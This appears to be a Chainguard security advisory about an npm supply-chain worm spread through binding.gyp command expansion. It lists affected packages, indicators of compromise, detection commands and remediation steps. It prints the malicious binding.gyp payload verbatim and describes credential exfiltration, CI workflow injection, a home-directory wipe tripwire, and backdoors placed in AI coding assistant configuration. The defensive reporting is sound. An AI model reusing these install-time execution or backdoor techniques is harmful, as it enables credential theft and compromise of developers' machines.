All articles

Chainguard artifacts safe from Miasma Phantom Gyp npm attack: 57 packages, 286 malicious versions hijack CI/CD pipelines via binding.gyp

Quincy Castro, CISO

TL;DR

What happened: On June 3, 2026, attackers published 286 malicious versions across 57 npm packages, deploying a self-replicating CI/CD worm that harvests credentials and spreads itself using a novel install-time execution technique that bypasses nearly every existing npm security defense.

Chainguard customers: Not affected. Chainguard Libraries builds from source and does not consume registry tarballs. All 286 malicious versions were blocked in the Chainguard blocklist by 5:29 a.m. UTC on June 4.

Packages affected: @vapi-ai/server-sdk, ai-sdk-ollama, autotel*, awaitly*, executable-stories*, node-env-resolver*, wrangler-deploy, and 46 additional packages across two maintainer accounts.

Scale: 57 packages, 286+ malicious versions. @vapi-ai/server-sdk alone pulls ~408,000 monthly downloads; ai-sdk-ollama adds ~120,000.

Risk: Critical. The malware steals credentials from npm, GitHub, AWS, GCP, Azure, HashiCorp Vault, Kubernetes, and RubyGems, then uses those credentials to publish poisoned versions of every package the victim maintains and inject malicious steps into every CI workflow they can reach. It also drops backdoor configurations into AI coding assistant directories, meaning the compromise can survive package removal entirely.

What to do: Do not run anything on any machine or CI runner that executed npm install on an affected version since June 3. Rotate all credentials from a clean machine before touching the compromised environment. Note that the worm contains a tripwire that wipes the home directory (rm -rf ~/) if a planted decoy token is touched.

At 23:30 UTC on June 3, someone published four malicious versions of @vapi-ai/server-sdk, an SDK used by hundreds of thousands of developers building voice AI applications. An hour later, they pivoted to the jagreehal maintainer account and published poisoned releases of more than 50 additional packages across the autotel, awaitly, executable-stories, node-env-resolver, and wrangler-deploy families. The whole campaign was over in under two hours. Security researchers named the install-time technique "Phantom Gyp" because the attack hides in a file that most security tooling never looks at: binding.gyp. It is the latest wave of the Miasma worm, which compromised 32 @redhat-cloud-services packages just two days earlier using a separate technique, and the eighth distinct attack in the Shai-Hulud / Miasma lineage since September 2025.

Affected packages

57 packages were compromised across 286+ malicious versions, all published between June 3 and June 4, 2026. Combined weekly downloads across the two highest-traffic packages exceed 500,000.

Note before you check your lockfile: As of this writing, several malicious versions are still live as exact tarballs on registry.npmjs.org even though the latest dist-tag for many packages has been redirected to a clean release. A fresh npm install autotel may pull a clean version. Any lockfile, exact pin, or transitive dependency that references a malicious version will still fetch the malware. A clean latest tag is not evidence of safety.

@vapi-ai scope

Package

Malicious versions

Weekly downloads

@vapi-ai/server-sdk

0.11.1, 0.11.2, 1.2.1, 1.2.2

~86,500

jagreehal / autotel family (25 packages)

autotel (2.26.4, 3.4.3), autotel-mcp (27 versions, 0.1.14 through 29.0.1), autotel-subscribers (30 versions), autotel-terminal (23 versions), autotel-aws, autotel-backends, autotel-cli, autotel-cloudflare, autotel-devtools, autotel-drizzle, autotel-edge, autotel-eventcatalog, autotel-hono, autotel-mongoose, autotel-pact, autotel-playwright, autotel-plugins, autotel-sentry, autotel-tanstack, autotel-vitest, autotel-web, autotel-adapters, autotel-audit.

jagreehal / awaitly family (6 packages)

awaitly (1.33.3), awaitly-analyze, awaitly-libsql, awaitly-mongo, awaitly-postgres, awaitly-visualizer (22 versions each across the 4.x–22.x range).

jagreehal / executable-stories family (9 packages)

executable-stories-vitest, executable-stories-playwright, executable-stories-jest, executable-stories-cypress (6–8 versions each), eslint-plugin-executable-stories-jest, eslint-plugin-executable-stories-playwright, eslint-plugin-executable-stories-vitest, executable-stories-mcp, executable-stories-demo, executable-stories-formatters, executable-stories-init, executable-stories-react.

Other packages

node-env-resolver (6.5.1), node-env-resolver-aws, node-env-resolver-dotenvx, node-env-resolver-nextjs, node-env-resolver-vite, wrangler-deploy (1.5.5), awaitly-analyze, effect-analyzer, http-uploader-dev, mountly, mountly-tailwind, @jagreehal/workflow, @evolvconsulting/evolv-coder-lite.

What the malware does

The infection begins with a file that almost no security tooling monitors: binding.gyp. Normally, when npm finds a binding.gyp in a package, it invokes node-gyp to compile what it assumes is a native C/C++ addon. The attackers exploited the fact that GYP's build configuration syntax supports command expansion: the <!(...) form runs an arbitrary shell command during the configure phase and substitutes its output into the build definition. The compromised packages ship this exact binding.gyp, 157 bytes, byte-for-byte identical across every affected tarball:

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

The "type": "none" target means nothing is ever compiled. The shell expansion is the entire point. node index.js executes during the configure phase, output is redirected to /dev/null, so there are no visible errors, and echo stub.c returns a plausible source filename so gyp exits cleanly. The package.json scripts section contains only ordinary development tasks (build, lint, test, format). There is no preinstall, postinstall, install, or prepare hook anywhere. The package does not even declare "gypfile": true. Nothing in package.json gives static analysis tools anything to flag.

The significance here is that most npm supply chain defenses, including tools that depend on --ignore-scripts and monitoring systems that watch lifecycle script fields, are built around the assumption that install-time execution comes from package.json scripts. node-gyp invocation is a separate code path. Any package with a binding.gyp triggers it, regardless of what the scripts field says.

Once node index.js runs, the payload executes in three stages:

Stage 1: Obfuscated loader. The root index.js is 4.5 to 4.9 MB of code hidden behind a ROT-14 Caesar cipher (each letter shifted 14 positions through the alphabet), wrapped in a single eval() over a ~1.3-million-entry character-code array. Once decoded, an async IIFE uses node:crypto's createDecipheriv with hardcoded AES-128-GCM keys to decrypt two embedded ciphertext blobs. Known keys from the Miasma wave 1 payload: fe0d71d57ecf4fa0a433185bf59a03f5 and f5e5dca9b725ec18514c4b322ed35d2b.

Stage 2: Bun runtime download. The first decrypted blob detects the OS and architecture, downloads a standalone Bun v1.3.13 binary from GitHub (github.com/oven-sh/bun/releases/download/bun-v1.3.13/) into a temp directory, makes it executable, and hands it the second blob. Running the core payload under a downloaded Bun binary rather than the Node.js process that started npm install is deliberate. Monitoring tools scoped to Node.js child processes during install will not see the Bun process. A plaintext string scan of index.js returns no credentials or C2 indicators because all behavioral logic lives inside the Bun-executed blob.

Stage 3: CI/CD worm. The main payload (~720 KB) performs four operations once the Bun runtime is running. Credential harvesting sweeps the environment for npm tokens (~/.npmrc, NPM_TOKEN), GitHub tokens and PATs (GITHUB_TOKEN, ~/.config/gh/hosts.yml), and if the machine is a CI runner, reads directly from /proc/mem to extract masked secrets from the runner worker process in plaintext, bypassing CI masking entirely. It also harvests AWS access keys and the IMDSv2 metadata endpoint, GCP service account credentials, Azure client secrets and Key Vault contents, HashiCorp Vault tokens, Kubernetes service account tokens, RubyGems API keys, SSH keys, and credentials from 1Password CLI, gopass, and pass.

Exfiltration sends all stolen data encrypted with a hardcoded RSA public key to attacker-controlled GitHub repositories under the account liuende501, which hosts 236 repositories. The worm creates a new repo on the fly (naming pattern nemean-hydra-NNNNN) and uploads credentials as encrypted JSON files to a results/ directory, using dangling commits not reachable from any branch, so they don't appear in normal repository browsing.

GitHub Actions injection uses the stolen GitHub token to modify CI workflow YAML files via the createCommitOnBranch GraphQL mutation, which produces a verified, signed commit, then injects a setup-bun step and payload execution step so the worm runs on every future CI job in any repository the victim could push to. Package poisoning queries the npm registry for all packages the compromised account maintains, downloads each tarball, injects the malicious payload, and publishes new poisoned versions with bumped version numbers, which is how the attacker turned one compromised account into 50 packages in roughly an hour.

AI coding assistant backdoor (novel in this wave). The Phantom Gyp variant drops persistent backdoor configuration files into AI coding assistant directories, including .claude/ hooks (targeting Anthropic Claude), Cursor AI configuration, and Gemini config directories. If a developer opens the infected project in any of these tools, the backdoor executes. This means the compromise can survive package removal and re-execute the next time the developer opens the project in an AI-assisted IDE, potentially poisoning AI-generated code with attacker-controlled instructions. The exact file paths for each assistant's config directory have not been publicly confirmed at the time of writing.

Destructive tripwire. The malware plants a decoy token and monitors for any interaction with it. If the decoy is touched, it triggers rm -rf ~/, wiping the victim's home directory. Read the remediation section below before touching anything on an affected machine.

Indicators of compromise

If you installed any affected version (see Affected packages above), treat your environment as compromised.

GitHub infrastructure (exfiltration)

  • Account liuende501 on GitHub (236 exfiltration repositories)

  • Repository naming pattern: nemean-hydra-NNNNN (Greek mythology, consistent with Miasma branding)

  • Repository description: Miasma - The Spreading Blight

  • C2 liveness beacon: GitHub commit search for string thebeautifulmarchoftime (unauthenticated)

  • Token validation: GitHub commit search for string IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner

  • All C2 traffic to api.github.com uses User-Agent: python-requests/2.31.0

Network indicators

  • t.m-kosche[.]com (secondary C2, disguised as OpenTelemetry trace ingestion, inherited from Miasma wave 1)

  • Outbound curl to github.com/oven-sh/bun/releases/download/bun-v1.3.13/ from within an npm install process (anomalous)

Files on disk

  • $TMPDIR/bun or /tmp/bun-XXXXXX (downloaded Bun v1.3.13 binary, permissions 755)

  • $TMPDIR/*.zip (intermediate Bun archive)

  • Unexpected files under ~/.claude/, Cursor AI config directories (exact paths pending confirmation)

Cryptographic indicators

  • AES-128-GCM key (wave 1, likely shared): fe0d71d57ecf4fa0a433185bf59a03f5

  • AES-128-GCM key (wave 1, likely shared): f5e5dca9b725ec18514c4b322ed35d2b

Package-level indicators

  • Presence of binding.gyp containing <! ( in a package that has no native module functionality

  • index.js file size between 4.5 and 4.9 MB (anomalous for a JS package entry point)

  • eval() over a large integer array in index.js outer layer

  • package.json with no preinstall/postinstall scripts alongside a binding.gyp file

How to check if you're affected

# Check for malicious binding.gyp with shell expansion in installed packages
find ./node_modules -name "binding.gyp" -exec grep -l '<!(' {} \;

# Check for anomalously large index.js files (>4MB)
find ./node_modules -name "index.js" -size +4M

# Check for a Bun binary in temp directories
find /tmp -name "bun" -perm /111 2>/dev/null
ls "$TMPDIR"/bun* 2>/dev/null

# Check for unexpected GitHub Actions workflow modifications
git log --all --follow -- .github/workflows/ | head -20

# Search lockfiles for any affected package versions
grep -E "(vapi-ai/server-sdk|ai-sdk-ollama|autotel|awaitly|executable-stories|node-env-resolver|wrangler-deploy)@" \
  package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null

# Check for suspicious outbound connections in npm install logs
grep -r "oven-sh/bun" ~/.npm/_logs/ 2>/dev/null

A lockfile match alone warrants investigation, even if you cannot confirm the malware executed. The install may have been interrupted, but partial execution is still possible.

Immediate steps if you're affected

Stop before you rotate. The worm plants a decoy token and wipes the home directory if it detects interaction with it. Do not run any scripts, test any credentials, or execute anything on the affected machine or CI runner before completing step 1.

  1. Isolate the affected machine from the network. Do this before running any commands on it. If the compromised environment is a CI runner, disable the runner and do not trigger new jobs from it.

  2. Rotate all credentials from a clean, unaffected machine. In this order: GitHub tokens and PATs (revoke all tokens for the affected account at github.com/settings/tokens); npm tokens (revoke at npmjs.com/settings/tokens); AWS access keys (rotate via IAM console, then audit CloudTrail for unexpected API calls); GCP service account keys (revoke via Cloud Console, check for new service accounts or permission grants); Azure client secrets (rotate via Entra ID, audit Key Vault access logs); HashiCorp Vault tokens (revoke and reissue, check audit logs); Kubernetes service account tokens; RubyGems API key; SSH keys (regenerate and update authorized_keys on remote systems).

  3. Audit GitHub for injected workflow steps. Review all .github/workflows/ files in every repository the compromised account could write to. Look for unexpected setup-bun steps or any unexplained commits made via the createCommitOnBranch GraphQL mutation. Revert affected workflows to the last known-good commit.

  4. If you maintain npm packages, check for unexpected publishes. Check your package publish history for any versions published in the June 3 to June 4 window that you did not initiate. Unpublish them with npm unpublish <package>@<version> and notify downstream users.

  5. Clean file artifacts. Remove the Bun runtime: rm -f "$TMPDIR"/bun* and rm -f /tmp/bun*. Check ~/.claude/, Cursor AI config directories, and Gemini config for unexpected files or modified configuration. Check ~/.npmrc, ~/.aws/credentials, and ~/.kube/config for tampering.

  6. Block egress and verify. Add a DNS block for t.m-kosche[.]com. After rotation, confirm that the attacker has no further credentials by reviewing each cloud provider's access logs. Run find ./node_modules -name "binding.gyp" -exec grep -l '<!(' {} \; to confirm the malicious packages are no longer present.

Downgrade to clean versions predating June 3, 2026. For @vapi-ai/server-sdk, pin to 0.11.0 or earlier. For ai-sdk-ollama, pin to 0.13.0 or earlier. For autotel, pin to 3.4.2 or earlier (this is what latest currently resolves to, but verify the exact hash against a known-good publish). Do not trust a clean latest tag without verifying that the exact version you are installing predates the attack window.

Why Chainguard customers were protected

Chainguard customers were not affected by this attack.

The Miasma Phantom Gyp worm spreads exclusively through the npm registry, relying on developers and CI pipelines to run npm install on poisoned tarballs. Chainguard Libraries for JavaScript never consumed any of the malicious versions because Chainguard builds from source in the Chainguard Factory rather than consuming upstream registry tarballs. The build process does not execute lifecycle scripts, preinstall hooks, or node-gyp invocations from upstream packages. When a package introduces an install-time execution mechanism, the build terminates before any of that code runs. This means the Phantom Gyp technique and the entire Shai-Hulud / Miasma install-hook family have no path into Chainguard's build pipeline. The malicious versions were never available for consumption.

All 286 malicious package versions were also blocked in the Chainguard Libraries blocklist and malware blocklist. Chainguard deployed fixes to the blocklist and malware-status backfiller during the response, and set up an alert to page on-call if the malware scanner lags or stops for more than 30 minutes.

Chainguard Containers customers were also not affected. Container images are rebuilt daily from source in the Chainguard Factory, so a compromised upstream npm tarball has no path into a container image build.

For organizations that rely on scanners and policy engines to catch malicious packages, timing is the real issue. A scanner fires after a package is already in the wild. Detection requires that someone has already published the malicious version, that the scanner has already ingested it, and that the policy has already blocked it at install time. During the two-hour Phantom Gyp campaign window, that chain had not completed for most tooling. Chainguard's build-from-source model eliminates the exposure window entirely because the registry is not the supply chain.

The bigger picture

The Phantom Gyp wave is the eighth distinct attack in the Shai-Hulud / Miasma campaign lineage since September 2025, and the second in four days. TeamPCP made the full Shai-Hulud source code public on May 12, just 22 days before this attack. The Phantom Gyp technique was not in that original source. Someone studied it and improved it.

Three things are true about every wave in this campaign. First, the technique changes each time to specifically defeat the defenses that were built in response to the previous wave. Preinstall hooks were the first target; defenders started monitoring scripts fields; the attacker moved to binding.gyp. OIDC trusted publishing was exploited in the Red Hat wave because defenders were watching for stolen tokens, not branch-agnostic pipeline execution. Each iteration requires a new category of defense, not just updated blocklists.

Second, the worm's self-propagation serves as an amplifier. One compromised account in the Phantom Gyp wave became 57 packages in under two hours. The attack surface is every package a victim maintains and every repository they can push to, not just the initially compromised package.

Third, the AI coding assistant backdoor in the Phantom Gyp variant is new and worth watching. Dropping persistent instructions into .claude/, Cursor, and Gemini config directories mean the attacker is now targeting the AI-assisted development workflow as a persistence and propagation surface, not just the CI pipeline. That is a meaningful escalation in scope.

Sources

Want to learn more about Chainguard?

Chainguard provides secure open source artifacts that are built from source, so engineers can be confident that what they're using in production matches the source bit-for-bit. Chainguard's trusted open source has minimal vulnerabilities, provable provenance, and malware-resistance by design, defending against supply chain attack risk without adding any engineering toil. Get started for free today or reach out to our team for more details.

Share this article

Related articles

Want to learn more about Chainguard?

Contact us